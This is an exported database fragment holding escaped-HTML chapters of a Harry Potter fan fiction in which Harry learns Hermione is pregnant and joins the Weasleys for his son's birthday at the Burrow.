&quot;I think I just lost my job,\nHarry. I can live with that. What I can\'t live without is you. Especially\nnow.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry closed his eyes when she slipped her arms around\nhis torso and rested her cheek against his chest. &quot;I\'m sorry,&quot; he\nrepeated. With his eyes still closed, he pried her away from his body and\nturned around. &quot;We can talk later. I just...need some air.&quot; Before he\nstarted off, he whispered. &quot;I do love you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry! Please don\'t walk away from me!&quot;\nWhen he failed to stop or even falter, Hermione pressed one hand to her lower\nabdomen. &quot;Please...I need...to tell you something.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He didn\'t hear her. But even if he had, the odds were\nhe wouldn\'t have stopped.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry was hovering a hundred feet off the ground\nbefore he realized how completely selfish he had behaved. He had been sitting\non his Firebolt for nearly an hour, just letting the cool afternoon breeze turn\ninto a cold night gale. Flying was one of his favorite things in the world to\ndo. But now, he was taking no pleasure in the freeing sensation of being alone\nin the sky. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Bastard,&quot; he whispered to himself.\n&quot;She\'d have every right to never speak to you again.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Going overboard into his own guilt had been nothing\nshort of horrifically self-centered. Hermione was the one who had been stripped\nof her job as though she were unworthy of it. She was the one hurting. Yet he\nhad managed to make it all about himself, not to mention the fact that he had\nabandoned her when she needed him probably the most. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">His fingers tightened around the slick handle of his\nbroomstick. Without even making the conscious choice to do so, Harry guided it\ntowards the dark ground below. When his feet touched back down, he swung one\nleg off the broom and started to run towards the torch-lit castle entrance. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He didn\'t stop until he reached Miss Belle\'s portrait.\nThe nineteenth century beauty opened her mouth to speak, but Harry cut her off\nwith an abrupt, &quot;Water hemlock.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Bypassing his own room, his Firebolt still in his\nhands, Harry stopped in front of the door to Hermione\'s apartments. He knocked\nonce, then twice. &quot;Hermione!&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry had raised his hand to knock for a third time\nwhen the door opened a bit. &quot;Hermione,&quot; he began again. &quot;I need\nto apologize for...&quot; He blinked. Visible in the crack between the oak and\nstone was not his lover, but the product of their love. Little Harry looked up\nat him with unblinking green eyes. &quot;Harry...&quot; the older bearer of the\nname began.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Mum\'s asleep, Professor Potter.&quot; The boy\npushed the door open even further. &quot;You may come in though. If you\nlike.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Er...thank you.&quot; Harry stepped inside and\nset his broomstick up against the wall. Little Harry was already walking back\nto the fireplace and the couch set in front of it. Harry followed him.&nbsp;\nHermione was sleeping in front of the fire; her cheek rested on one arm and the\nother was tucked around her stomach. He watched the gentle swell of her breast\nexpand and contract; her lovely face was peaceful now, rosy in the fire\'s\nlight. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Did you and Mum have a fight?&quot; Little Harry\nperched himself on the arm of the couch, his stare still boring into Harry. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Not exactly,&quot; he replied, his voice hoarse.\n</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">His son had no visible reaction to this. &quot;She\ncame in crying. She\'s been crying a lot lately. Like she did when Dad\ndied.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry swallowed. &quot;Something happened today.&quot;\nHe let out a breath; how did he go about explaining such things as prejudice\nand cruelty? He had learned the hatred that people were capable of through\nexperience, not theory. &quot;Some people are trying to take your mother\'s job\naway from her. They have been for awhile. And today....they might have finally\nsucceeded.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I know,&quot; Little Harry pointed to the\nfireplace. A corner of newspaper had yet to catch fire; Harry could clearly\nread the Daily Prophet\'s header on it. &quot;That arrived before Mum got back\nfrom her lessons.&quot; He finally blinked. &quot;But that isn\'t why she\ncries.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Then...what is it?&quot; Harry asked, almost\nafraid to do so. What else could be making Hermione unhappy? Was he doing\nsomething more than just being selfish? </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The boy slid off the couch\'s arm and approached Harry.\nHe was barely as tall as the center point of Harry\'s chest, but he looked up at\nhis biological father as though they were equals. Without any drama or\nhesitation, little Harry spoke. &quot;Mum is going to have another baby.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry reached for the first thing he could, the high\nback of a chair. He clutched at it for support, his knuckles turning only a\nshade whiter than his face. &quot;What?&quot; he managed to reply.\n&quot;How...&quot; Harry shook his head. &quot;I mean...how do you...why do you\nthink that...?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad told me.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The simple reply was almost enough to knock out what\nwas left of Harry\'s ability to stand up. His mind reeling, he tried to focus on\nhis son. &quot;Ron told you...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I had a dream,&quot; little Harry calmly\ninterjected.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;...that Hermione is...pregnant?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The boy nodded. &quot;Dad told me to take care of her.\nHe said you\'d need my help.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry stared at him. &quot;Your mother...hasn\'t told\nme anything about...a baby.&quot; Nowhere near recovered, but with the initial\nshock passing, Harry let go of the chair. His eyes locked with his son\'s.\n&quot;It could have just been a dream, Harry.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes,&quot; he replied. &quot;It could have\nbeen.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s only natural. I\'ve seen him in my dreams,\ntoo.&quot; Harry inhaled. &quot;We still want him to be with us.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No.&nbsp; It was real.&quot;&nbsp; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione shifted on the couch just then, breaking the\nsilence that followed. Little Harry looked back at his mother; her arm never\nmoved from its protective curve around her belly. &quot;Dad says you and Mum\nbelong together. And that I\'m going to have a sister.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The conversation had his skin crawling. Not only was\nhe still reeling from the shock, but now his own son was talking like Professor\nTrelawney and it was really, to put it like a Muggle would, wigging him out.\n&quot;Harry...&quot; He bent over until he was at his son\'s level. &quot;I\'ll\nbelieve you if you tell me that *you* really believe it wasn\'t just an ordinary\ndream.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Do you want it to just be a dream?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\'s gaze darted to Hermione. Something akin to\npanic clutched his throat. Having another baby with Hermione...there were few\nconcepts that sounded sweeter. But the timing couldn\'t have been worse. If it\nwas true and Malfoy found out...</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s a hard question to answer,&quot; he\nreplied, truthfully.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The boy nodded slowly. &quot;Don\'t worry, Professor. I\nwon\'t tell Mum anything about this.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry straightened up. He tried to lick his lips, but\nhis mouth had gone completely dry in the endless minutes of their conversation.\n&quot;I won\'t say anything to her either.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad was never good at secrets,&quot; the boy\nsaid. &quot;I hope you\'re better.&quot; There was a long pause.\n&quot;Professor...I want to invite you to my birthday party. It\'s next weekend\nat my Grandfather Arthur and Grandma Molly\'s house.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;The Burrow.&quot; Harry smiled softly.\n&quot;You\'ve talked to your mother about it? About me coming?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">His son shook his rusty head. &quot;But she won\'t say\nno. It\'s my birthday, after all.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\'s own head throbbed from the day\'s events,\nespecially those since he had stepped into Hermione\'s apartment. Still, he\nmanaged to nod his acceptance. &quot;I\'m looking forward to it.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The boy smiled for the first time. &quot;Dad was\nright. It\'s a lot of work to try and hate you. Too much work.&quot; Before\nHarry could reply, his son ran for the stairs. &quot;Goodnight,\nProfessor.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Left alone with the unpleasant feeling of imagining\nRon hating him, Harry walked over to the couch and knelt next to Hermione.\n&quot;Are you really, Hermione?&quot; he whispered. &quot;Do you even know\nyet...if you are?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione\'s forehead crinkled; whatever she was seeing\nin her dreams was perplexing her. Harry extracted one hand from his robes and\nran his thumb over her brow, soothing away the frustration. &quot;Either\nway...I\'ll be here with you. I swear.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He could hear running water upstairs as their son\npresumably washed up before bed. Harry looked at the stairs for a long moment.\n&quot;Of all the things I\'ve imagined passing on to my children, my dreams were\nnever one of them.&quot; He scratched the top of his head. &quot;Do you know if\nhe has Sight? Real Sight? And would you tell me even if you did?&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A long minute passed; at the end of it, Harry leaned\nforward and pressed a kiss against Hermione\'s warm cheek before standing up. He\nleft her sleeping what he hoped was a peaceful slumber in front of the\ncrackling fire. It would be hours before his own dreams crept upon him. But\nwhen he woke the next day, he could remember nothing of them. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">After Hogwarts, the Burrow was Harry\'s second home. In\nfact, besides the castle itself, there was no place on Earth where Harry had\never felt more comfortable or more loved than in Arthur and Molly Weasley\'s\nhaphazard house. It was up to this magically intact place that Harry, Hermione\nand their son now walked, having traveled by Floo Network to London, stopping\nin Diagon Alley only long enough to pick up a few things, and then by Muggle\ncar to Ottery St. Catchpole. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry looked up at the house, clutching the bottle of\nFrench wine he had purchased for Ron\'s father a little bit tighter than\nnecessary. He hadn\'t been inside the Weasley home since the summer before his\nfinal year at Hogwarts. He and Ron and Hermione had spent the last few weeks of\ntheir vacation at the Burrow, as they often had throughout their schooling.\nHappy days, he thought to himself. The threat of Voldemort had been a constant\nthought in the back of everyone\'s minds, but they had still managed to have a\nwonderful time together. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He was shaken out of his memories by the sound of the\nfront door opening. They were still many yards away from the house; Harry had\nparked the car off the side of the lane that led up to it as not to draw too\nmuch attention to their arrival. He squinted a bit in the bright mid-morning\nsunlight, only to see Ron\'s mother standing on the stoop, waving at them with\none plump, flour-dusted arm. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Everyone!&quot; she cried out, obviously calling\nto her family still inside. &quot;They\'re...&quot; Molly\'s voice trailed off as\nshe apparently noticed who was beside her daughter-in-law and grandson. She\nmoved her hand up to her mouth. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione glanced over at Harry. His ears were turning\npink, a sure sign, even more certain than his hesitation as they walked towards\nthe house, that he was nervous about seeing Ron\'s family after so many years.\nTaking pity on him, she reached for his free hand with hers. &quot;They\'ve\nmissed you,&quot; she quietly told him. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry didn\'t get a chance to reply; Ron\'s mother was\nalready out of the house, running towards them as fast as she could.\n&quot;Harry, dear!&quot; For a moment, he wasn\'t sure which Harry she was\nreferring to, but she answered the question for him when she pulled him into a\nmaternal embrace. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Bill Jr. told us you were his teacher, but I\nonly hoped it was true,&quot; Molly said between tears. &quot;Welcome home,\nHarry.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He could feel his own throat closing up. He had no\nmemories of his own mother, save for the images he had seen of her in pictures,\nhis dreams, and the Mirror of Erised. His aunt had been like a prison guard and\nhe hadn\'t spoken to her in almost eleven years. So Molly Weasley was the first\nand only real mother figure Harry had ever known. When she pulled back a moment\nlater, Harry could feel his own tears forming, hot and stinging behind his\nnose. &quot;Thank you,&quot; was all he could manage to say. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">It seemed to be enough for Ron\'s mother. Wiping her\neyes with the corner of her apron, she turned her attention to her grandson.\n&quot;Do you ever stop growing, love? You\'re just like your father was at your\nage.&quot; Her voice faltered at the mention of her lost son as she held out\nher arms. Little Harry went straight to them for a round of hugs and kisses. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry shot a look at Hermione. She looked away,\neternally grateful for the sudden appearance of George, Fred and Ginny.\n&quot;Hello!&quot; she called out to them. &quot;We made it!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">One of the twins, Fred, Harry guessed, lifted a red\neyebrow. &quot;And you\'ve brought along a surprise.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hello, Harry!&quot; George held out his hand.\nWhen Harry hesitated, he laughed. &quot;I swear, I haven\'t done anything to\nit.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ginny rolled her eyes. &quot;Don\'t believe him, Harry.\nHe and Fred have been working on an invisible gadget that gives you quite a\nnasty shock. Trust me; I know.&quot; She approached Harry and gave him a quick\nhug. &quot;It\'s good to see you again.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She had shown signs of becoming a great beauty when he\nhad left. Although she paled beside Hermione as far as he was concerned, he\ncouldn\'t deny that Ron\'s little sister was stunning. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">It was then that Harry realized the youngest Weasley\nwas also pregnant, probably six or seven months so. He blinked as the glint of\na diamond on her left hand reassured him that she had happily settled down with\nsomeone. He was sure to hear all about it later. But right then, all he could\nthink about was Hermione and the possibility that she might be in the same\ncondition as Ron\'s sister. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry studied Hermione, even as he shook hands with\nFred and politely avoided doing so with George. If she was, she either didn\'t\nknow or was keeping it from him. He brushed off the second possibility;\nHermione believed in telling the truth too much to do so. Either she wasn\'t\naware of it...or little Harry was simply wrong.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Another man joined them from inside the house, Ginny\'s\nhusband, Harry soon learned. He was a Muggle whom Ginny had met on vacation in\nIreland. Harry could only imagine the time the man, whose name was Ryan\nMcGahern, must have endured upon meeting Ginny\'s family. But he seemed to have\nadjusted very well to the wizarding world. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Come on, everyone.&quot; Molly had her arm\naround Hermione as she addressed her family. &quot;Let\'s get inside for a spot\nof tea. Arthur and the rest won\'t arrive until nearly dinner time...&quot; Fred\nhad lifted little Harry into the air and slung him over George\'s shoulder; the\nboy laughed and kicked to be let down, even as Ginny walked behind her older\nbrother, trying to deposit a kiss on her nephew\'s upside-down cheek. &quot;Oh,\nGeorge, let the poor child down. He\'s not a baby anymore.&quot; She shook her\nhead at her twins, the long-standing source of her headaches. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry hung back for a moment as the rest of them\nwalked ahead. Ginny was now sandwiched in between Hermione and Ryan; they each\nhad one of her arms as if she needed help getting up the stairs into the house.\nShe was shaking her head at both of them. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">This was Ron\'s home; these people were Ron\'s family.\nHe was not a part of it anymore.&nbsp; As he sat down to tea around the long kitchen\ntable a few minutes later, Harry couldn\'t shake the feeling that he was\nintruding. Even Hermione\'s hand discreetly slipping into his underneath the\ncheckered tablecloth wasn\'t enough to reassure him. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He sipped his tea and ate all the scones Molly placed\nin front of him. At the other end of the table, little Harry was downing a mug\nof milk, listening to his uncles talk about their latest inventions with rapt\nattention. Tea was officially drawing to a close; Harry forced a smile and\nstood up from the table. &quot;Mrs. Weasley...&quot; he began.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;For heaven\'s sake, child. Call me Molly.&quot;\nShe winked at Harry over her teacup. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He nodded. &quot;If you\'ll excuse me.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Molly watched him head towards the bathroom.\n&quot;Hermione,&quot; she asked when he was out of sight. Her daughter-in-law\nlooked up from the clotted cream she was spreading onto a scone. &quot;Are you\nkeeping an eye on Harry? He\'s not looking well a\'tall.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The hand holding her knife trembled. &quot;I\'m trying\nto. I think he\'s just...a bit overwhelmed.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">George drained his tea. &quot;He didn\'t know about Ron\nwhen he came back, did he?&quot; Hermione shook her head. &quot;Eh...we tried\ngetting him the message, Sis. Just couldn\'t reach him.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She smiled at Ron\'s burly brother. &quot;It wasn\'t\njust you who couldn\'t.&quot; Hermione set down her knife and stood. &quot;I\'ll\ncheck on him, Mother.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Not even wanting to know what was discussed after she\nleft, Hermione started up the stairs to the first landing. Harry was standing\nin the crooked hallway that led to the master bedroom. The walls were entirely\nlined, almost floor to ceiling, with pictures of the Weasley family. It was\nsometimes disconcerting to walk down the hall if you weren\'t accustomed to\nhundreds of red-heads smiling and laughing and watching you. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry had stopped in front of one particular picture.\nHermione didn\'t have to wonder which; she had often found herself at the exact\nsame spot, staring at the exact same image. She had considered asking Ron\'s\nmother for a copy of the picture, but had never gotten around to it. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She came up just behind Harry. &quot;I remember that\nday as though it was yesterday.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Me too.&quot; He reached out to touch the framed\npicture of himself with Ron and Hermione out in the garden of the Weasley home.\nTaken in the final days of their final vacation together, the sun was actually\nout and shining on them, turning Ron\'s hair into burning flames, Hermione\'s\ninto rich honey and Harry\'s into black silk. The informidable trio were piled\nonto a wrought-iron bench that was only meant for two. As a result, Hermione\nwas practically sitting on Harry\'s lap; her arms were around each of her\nfriend\'s shoulders for support. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry watched himself laughing. &quot;I feel like I\'m\ncaught in the same cycle as this picture.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What do you mean?&quot; Hermione touched his\narm. &quot;Harry...what does that mean?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He blinked. &quot;Like I can\'t move forward. I can\nonly keep looking back, over and over again.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A few seconds of silence followed, broken only by the\nsounds of laughter from the kitchen. &quot;You are moving forward, Harry.\nYou\'ve come a long way, even since the beginning of the term. I mean...take us\nfor an example. We\'ve managed to overcome the past and...&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you pregnant?&quot; He cut her off, sharp\nand quick. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione drew in a breath. &quot;Yes,&quot; she\nreplied, scarcely believing the ease with which the response poured forth.\n&quot;I am.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry turned around. &quot;Have you had a reason for\nkeeping it from me?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nothing beyond bad timing.&quot; Hermione looked\nup at him. &quot;I\'m sorry, Harry. I didn\'t...plan very well. I should\nhave...taken a potion or something. I wasn\'t thinking that night. Or if I was,\nit was only about how much I needed you.&quot; When he remained silent, she\ncontinued, &quot;In a way, I\'m glad you put it all together for yourself. I\nwasn\'t having much luck breaking the news on my own. Not even in this last\nweek. I suppose I\'ve been too busy worrying about my job and Harry\'s\nbirthday...&quot; She took another breath. &quot;Harry, please say something. I\nneed to know that you\'re all right with this. Because if you\'re not...I\'ll\ncertainly understand, but I...&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry cut her off again, but this time he did so by\ncovering her mouth with his for a hot kiss. Hermione\'s eyes flew open; when he\npulled back, she found herself unable to say anything. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m going to do it right this time,\nHermione,&quot; he swore. &quot;I know I can\'t ever make up for not being there\nfor Harry, but this baby...&quot; Harry smiled broadly. &quot;I promise you my\nbest.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Hermione bit the inside of her cheek. It was the words\nshe had always wanted to hear from him. Why, then, wasn\'t she happier? &quot;I\nknow, Harry.&quot; She forced a smile. &quot;I believe you.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">It was an awkward place to end the conversation, but\nneither Harry nor Hermione were sure of what else to say. It was unspokenly\nagreed that it would be best to keep the news to themselves for awhile; for\nHarry, it was a matter of their enemies finding out. For Hermione, it was a\nmatter of their family, specifically the family downstairs who still truly\nbelieved that a piece of their beloved Ron lived on in little Harry, learning\nthat it had all been a lie. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Much later, as he sat in the living room listening to\nFred and George fill him in on the sales figures of the year from Weasley\'s\nWizard Wheezes, Harry realized something frightening. Hermione was pregnant.\nHarry\'s dream had been accurate. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">His son had gotten more than just his green eyes.\nHarry stared blankly at the page in a thick account book that George was\ngesturing to with much excitement. Draco Malfoy could never find out how much\nalike he and little Harry were. His son\'s life depended upon it. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Because, as Voldemort had come after him, Draco would\nnot hesitate to come after his own child. Harry closed his eyes. His life\nreally was like a picture. Moving, but never changing. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">****</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">To Be Continued</p>\n\n\n\n\n\n\n'),
	(93, 16, '<p class="MsoNormal">Disclaimer: Since I haven\'t become JK Rowling despite my\nevery attempt to create Polyjuice potion, I don\'t own these characters or this\nworld in which I write;)<br/>\n<br/>\nAuthor\'s Notes: Thank you for all the kind reviews. I\'m glad to see people are\nstill enjoying! Yay, it makes me very, very happy! Hehehe. I graduate from\ncollege the day after tomorrow, so it\'ll be a few more days after that before\nyou should expect another chapter. Just to warn ya:) Take care and enjoy!<br/>\n<br/>\n****<br/>\n<br/>\nAn Organ of Fire<br/>\nby Kristen Elizabeth<br/>\n<br/>\n****<br/>\n<br/>\n"Xander character: And that\'s why I don\'t like those Potter books. Maybe\nif I was ten years younger and less of a battle-scarred veteran of the\nsupernatural wars...<br/>\n<br/>\nBuffy character: But you saw the movie three times!" -excerpt from the\nBuffy the Vampire Slayer Roleplaying Game rulebook<br/>\n<br/>\n****<br/>\n<br/>\nLittle Harry\'s birthday dinner was nothing short of a feast. With Ginny,\nHermione and Ryan\'s help (he couldn\'t use magic, but he chopped vegetables so\nfast that it really didn\'t matter), Molly prepared a massive feast for her\ngrandson, including all of his favorite dishes. Harry took note of them for\nfuture reference. Roast breast of lamb with stuffing and mashed potatoes,\nthick, creamy tomato soup, and golden bread and butter pudding for dessert. A\nrich trifle was also prepared for the twins who apparently didn\'t care for the\npudding. <br/>\n<br/>\nThe sun had set and dinner was almost on the table when Arthur, Percy, with his\nwife, Penelope, and Bill all Apparated into the Burrow from their jobs at the\nMinistry and Gringotts. Although they were all duly shocked to see Harry Potter\nagain, he received nothing but warm handshakes and welcomes from each of them. <br/>\n<br/>\nOver dinner, Harry was filled in on the ten years of Weasley history he had\nmissed. Bill had been married and then divorced; he had two children, Bill Jr.\nat Hogwarts and another son named Robert, three years younger who was currently\nspending his half-year with his mother in the Cotswalds. Bill had moved five\nyears earlier to the main Diagon Alley branch of Gringotts to be closer to his\nfamily. <br/>\n<br/>\nCharlie, however, still worked with his beloved dragons in Romania. He had\nsettled down with a younger witch who had gone to Durmstrang with Viktor Krum.\nThey had a daughter named Galina several years younger than little Harry. <br/>\n<br/>\nPercy had married his Hogwarts sweetheart, Penelope Clearwater, but they had\nyet to have any children as his career with the Department of International\nMagical Cooperation and her job with the Committee on Experimental Charms kept\nthem both very busy. This was prime source material for the twins; the\ngood-natured jibes about Percy getting on the ball went on well into the main\ncourse, and were only silenced by Ginny reminding the pair that neither of them\nhad so much as a steady girlfriend. They countered with an air of indignation;\nthey were both just very choosy. <br/>\n<br/>\nInevitably though, the conversation turned to the recent events in the\nwizarding world. As Molly pulled the pudding out of the oven and retrieved the\ntrifle from the icebox, Arthur yanked his napkin out of the collar of his shirt\nand looked at his daughter-in-law. "I\'m so sorry about the Governor\'s\ndecree, Hermione." He lifted his shoulders. "There wasn\'t anything we\ncould do about it." <br/>\n<br/>\n"And we tried," Penelope spoke up. "It\'s just..."<br/>\n<br/>\n"Malfoy\'s got too much power now." Bill carried a handful of dishes\nover to the sink. "He\'s a real little bastard, isn\'t he?"<br/>\n<br/>\nGinny rubbed her swollen stomach. "He always has been." <br/>\n<br/>\nHermione squeezed her father-in-law\'s hand when he reached for hers. "Thank\nyou all." She winked at her son. "But we\'re going to be just fine. I\nget to finish out the year and if things don\'t change after that...well, I\ndon\'t know, but I\'m sure I can find some sort of work."<br/>\n<br/>\n"You\'d always be welcome at The Daily Prophet," Ginny said, passing\nbowls of trifle to the twins.<br/>\n<br/>\n"Gringotts is looking for a witch or wizard to work public\nrelations," Bill offered.<br/>\n<br/>\nFred spoke around a mouthful of cream and strawberries. "You could work\nfor us, Sis. I mean, with us, of course." Hermione smiled gratefully.<br/>\n<br/>\nMolly scowled as served her pudding. "If I had my way, all those bloody\nGovernors would..." She stopped, keeping her tongue in check. <br/>\n<br/>\nHarry cleared his throat. "Mr. Weasley..."<br/>\n<br/>\n"Arthur, Harry." <br/>\n<br/>\n"Were you there...when the Governors signed it?" <br/>\n<br/>\nRon\'s father waited until his wife had set down a large bowl of pudding in\nfront of him to reply. "We\'ll talk later, Harry. Right now, I think we\nshould just enjoy this wonderful dessert." He scooped up a large bite.\n"Happy birthday...smaller Harry." There was laughter at this; little\nHarry grinned and dug into his own portion of the pudding with gusto.<br/>\n<br/>\nAfter dessert came presents; since they would be back at Hogwarts for little\nHarry\'s actual birthday, everyone was eager to give him his gifts now. Harry\nwatched him open knitted sweaters, model figurines and trick candies. Penelope\nand Percy Disapparated back to their own cottage just outside of London, but\nnot until after giving little Harry a lovely set of wizarding encyclopedias.<br/>\n<br/>\nFred and George joined their nephew on the floor after all his presents were\nunwrapped; they began to teach him how to play a new game they had invented.\nHarry wasn\'t sure what it was all about, only that occasionally there would be\na lot of sparks and noise and Molly Weasley would jump two feet in the air,\ncursing the forty-eight hours she had spent 